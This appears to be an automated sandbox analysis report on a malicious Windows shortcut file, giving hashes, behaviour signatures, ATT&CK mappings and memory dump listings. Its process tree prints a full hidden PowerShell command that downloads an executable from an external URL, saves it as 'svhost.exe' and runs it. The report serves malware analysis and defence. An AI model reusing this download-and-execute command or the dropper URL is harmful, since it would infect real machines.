a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c

Analysis

max time kernel
46s
max time network
50s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
02-02-2023 07:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk
Size

2KB
MD5

ef7f9739337bc657cd0a63e32e27d0a1
SHA1

bf67555a7272f24ceb57b1c49e4cf37dc17b246f
SHA256

a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c
SHA512

e3d0a14ac1b9165e75e619aa6f76058a4c799bb722abaeafac977c35f31ab10ad8c8a51c7f3828bb896cbf339f971974a4fb26421ba6aea52530ac84b7785ada

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1020 powershell.exe
5 1020 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1020 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1020 powershell.exe

flow	pid	process
4	1020	powershell.exe
5	1020	powershell.exe

pid	process
1020	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1020	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 852 wrote to memory of 1020	852	cmd.exe	powershell.exe
PID 852 wrote to memory of 1020	852	cmd.exe	powershell.exe
PID 852 wrote to memory of 1020	852	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\Admin\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\svhost.exe'
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1020

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/852-54-0x000007FEFB651000-0x000007FEFB653000-memory.dmp

Filesize
8KB

Download
memory/1020-88-0x0000000000000000-mapping.dmp

Download
memory/1020-93-0x000007FEF3C00000-0x000007FEF4623000-memory.dmp

Filesize
10.1MB

Download
memory/1020-94-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmp

Filesize
11.4MB

Download
memory/1020-95-0x0000000002484000-0x0000000002487000-memory.dmp

Filesize
12KB

Download
memory/1020-96-0x000000000248B000-0x00000000024AA000-memory.dmp

Filesize
124KB

Download
memory/1020-97-0x0000000002484000-0x0000000002487000-memory.dmp

Filesize
12KB

Download
memory/1020-98-0x000000000248B000-0x00000000024AA000-memory.dmp

Filesize
124KB

Download